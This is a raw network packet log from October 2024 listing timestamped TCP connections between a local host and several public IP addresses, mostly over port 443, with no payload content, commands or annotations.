Oct 24, 2024 11:57:35.646641970 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.646704912 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.646711111 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.646753073 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.736605883 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.736624956 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.736723900 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.736741066 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.736788034 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.763439894 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763459921 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763542891 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.763547897 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763572931 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763607025 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.763647079 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.763912916 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763926983 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.763997078 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.764012098 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.764564991 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.764584064 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.764621019 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.764631033 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.764652014 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.765583038 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.765625954 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.765649080 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.765657902 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.765671968 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.765697002 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.765759945 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:35.765768051 CEST	443	49725	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:35.765783072 CEST	49725	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:36.031399965 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.031688929 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.031702042 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.032771111 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.032850981 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.033226967 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.033284903 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.033417940 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.033425093 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.079452038 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.264470100 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.264601946 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.264661074 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.265335083 CEST	49743	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.265355110 CEST	443	49743	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.267725945 CEST	49708	443	192.168.2.16	142.250.186.36
Oct 24, 2024 11:57:36.267759085 CEST	443	49708	142.250.186.36	192.168.2.16
Oct 24, 2024 11:57:36.377816916 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.378081083 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.378099918 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.379107952 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.379168034 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.379529953 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.379590034 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.379673958 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.427333117 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.429439068 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.429454088 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.477607965 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.611690044 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.653472900 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.669454098 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:36.729846001 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729861021 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729878902 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729886055 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729912043 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729924917 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.729945898 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.729994059 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.730017900 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.731571913 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.731583118 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.731611967 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.731641054 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.731663942 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.731673002 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.731725931 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.731735945 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.847520113 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.847543955 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.847608089 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.847628117 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.847657919 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.847676992 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.849000931 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.849018097 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.849066973 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.849075079 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.849091053 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.849111080 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.965205908 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.965230942 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.965280056 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.965301037 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.965332031 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.965349913 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.966283083 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.966299057 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.966386080 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.966394901 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.966460943 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.966794968 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.966873884 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.966880083 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:36.966924906 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.969167948 CEST	49744	443	192.168.2.16	152.199.21.175
Oct 24, 2024 11:57:36.969196081 CEST	443	49744	152.199.21.175	192.168.2.16
Oct 24, 2024 11:57:39.080473900 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:39.416538000 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:40.839306116 CEST	49673	443	192.168.2.16	204.79.197.203
Oct 24, 2024 11:57:43.894475937 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:44.480473995 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:44.480505943 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:44.480603933 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:44.480901957 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:44.480915070 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.104240894 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.104612112 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.104624987 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.105648994 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.105720043 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106064081 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106064081 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106117964 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106142044 CEST	443	49745	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.106200933 CEST	49745	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106484890 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106503963 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.106580973 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106829882 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.106838942 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.723777056 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.724111080 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.724199057 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.725246906 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.725333929 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.725625992 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.725699902 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.725774050 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:45.725790977 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:45.776523113 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.614048958 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614113092 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614147902 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614172935 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.614187002 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614204884 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614232063 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.614624023 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614675045 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614676952 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.614708900 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.614769936 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.614785910 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.619482040 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.619548082 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.619565010 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.673579931 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.733071089 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733164072 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733205080 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733259916 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.733335018 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733403921 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.733486891 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733544111 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733580112 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733587027 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.733603001 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.733650923 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.734366894 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734721899 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734769106 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734781027 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.734793901 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734839916 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734847069 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.734858990 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.734906912 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.735626936 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.735717058 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.735761881 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.735764027 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.735775948 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.735826015 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.735840082 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.736521006 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.736572981 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.736584902 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.785610914 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.852494001 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.852577925 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.852612972 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.852657080 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.852725983 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.852790117 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.852806091 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853002071 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853049040 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853055954 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.853070974 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853116035 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853132963 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.853147030 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853198051 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.853210926 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853250980 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.853322029 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.853322029 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.855876923 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.855904102 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:47.855983973 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.856313944 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:47.856326103 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.168509007 CEST	49746	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.168579102 CEST	443	49746	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.461195946 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.461507082 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.461522102 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.462532997 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.462606907 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.462892056 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.462903023 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.462950945 CEST	443	49747	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.462951899 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.463010073 CEST	49747	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.463289976 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.463325977 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:48.463407040 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.463615894 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:48.463628054 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.031554937 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 24, 2024 11:57:49.074516058 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.074824095 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.074852943 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.075867891 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.075934887 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.076224089 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.076282978 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.076369047 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.076375008 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.131520033 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.781141996 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.781282902 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:49.781469107 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.782217026 CEST	49748	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:49.782238960 CEST	443	49748	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:52.719050884 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:52.719108105 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:52.719197035 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:52.719542980 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:52.719563961 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.337097883 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.337384939 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.337397099 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.338424921 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.338496923 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.338825941 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.338838100 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.338886976 CEST	443	49749	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.338888884 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.338941097 CEST	49749	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.339207888 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.339253902 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.339345932 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.339606047 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.339632988 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.497520924 CEST	49680	80	192.168.2.16	192.229.211.108
Oct 24, 2024 11:57:53.947063923 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.947375059 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.947405100 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.947722912 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.948015928 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.948077917 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:53.948180914 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:53.991343021 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123233080 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123301983 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123351097 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.123353958 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123364925 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123405933 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.123410940 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123456001 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.123500109 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.123505116 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.124135017 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.124175072 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.124181986 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.124186993 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.124231100 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.124234915 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.168546915 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.240487099 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.240550995 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.240639925 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.240698099 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.240719080 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.240912914 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.240989923 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241075993 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241128922 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.241141081 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241800070 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241832972 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241858959 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241866112 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.241878033 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.241904974 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.242666006 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.242698908 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.242726088 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.242738008 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.242789030 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.242795944 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.242809057 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.242860079 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.243531942 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.243592024 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.243628979 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.243642092 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.243654966 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.243693113 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.244446039 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.296629906 CEST	49750	443	192.168.2.16	104.21.68.211
Oct 24, 2024 11:57:56.358139992 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358207941 CEST	443	49750	104.21.68.211	192.168.2.16
Oct 24, 2024 11:57:56.358237028 CEST	443	49750	104.21.68.211	192.168.2.16
